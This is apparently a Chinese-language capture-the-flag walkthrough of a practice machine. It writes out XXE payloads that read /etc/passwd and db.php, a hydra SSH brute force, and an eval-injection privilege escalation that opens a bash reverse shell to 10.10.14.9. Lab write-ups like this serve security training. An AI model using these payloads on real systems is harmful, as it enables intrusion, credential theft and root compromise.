0x00 信息收集
nmap -Pn -p- -T4 --min-rate=1000 10.10.11.100
nmap -Pn -p 22,80 -sCV 10.10.11.100
打开80端口查看页面,通过"portal"页面,找到一个交互的地方,使用burp抓包查看
data的数据先使用url解码,然后使用base64解码,发现使用了xml
0x01 漏洞利用
使用poc,尝试读取/etc/passwd
参考 https://github.com/payloadbox/xxe-injection-payload-list
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>
<bugreport>
<title>&ent;</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
先使用base64编码,然后使用url编码,成功读取passwd文件
思路为读取相关密码文件,因此继续进行信息收集,查找可能存在密码的文件。
经过目录爆破得到一个db.php目录,尝试进行读取。
同样参考https://github.com/payloadbox/xxe-injection-payload-list
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE title [
<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/db.php">]>
<bugreport>
<title>∾</title>
<cwe>test</cwe>
<cvss>test</cvss>
<reward>test</reward>
</bugreport>
成功读取了db.php文件
PD9waHAKLy8gVE9ETyAtPiBJbXBsZW1lbnQgbG9naW4gc3lzdGVtIHdpdGggdGhlIGRhdGFiYXNlLgokZGJzZXJ2ZXIgPSAibG9jYWxob3N0IjsKJGRibmFtZSA9ICJib3VudHkiOwokZGJ1c2VybmFtZSA9ICJhZG1pbiI7CiRkYnBhc3N3b3JkID0gIm0xOVJvQVUwaFA0MUExc1RzcTZLIjsKJHRlc3R1c2VyID0gInRlc3QiOwo/Pgo=
使用base64解码,得到了账号密码信息 admin/m19RoAU0hP41A1sTsq6K
使用ssh登录,提示失败,猜测可能不是admin用户的密码
提取passwd文件里的用户名
使用hydra进行爆破,得到用户名为development
ssh登录成功
0x02 权限提升
使用sudo -l查看一下使用sudo权限的文件,得到一个ticketValidator.py文件
查看一下该文件
脚本的大致意思为读取一个md文件,并根据文件里的内容判断是否符合规则,如果符合规则,就会执行这个字符串表达式。
本机创建一个md文件,并上传至该脚本的目录下。
# Skytrain Inc
## Ticket to
__Ticket Code:__
**1404 + 10 == 1414 and __import__('os').system("bash -c 'exec bash -i >& /dev/tcp/10.10.14.9/4444 0>&1'") == False
得到root权限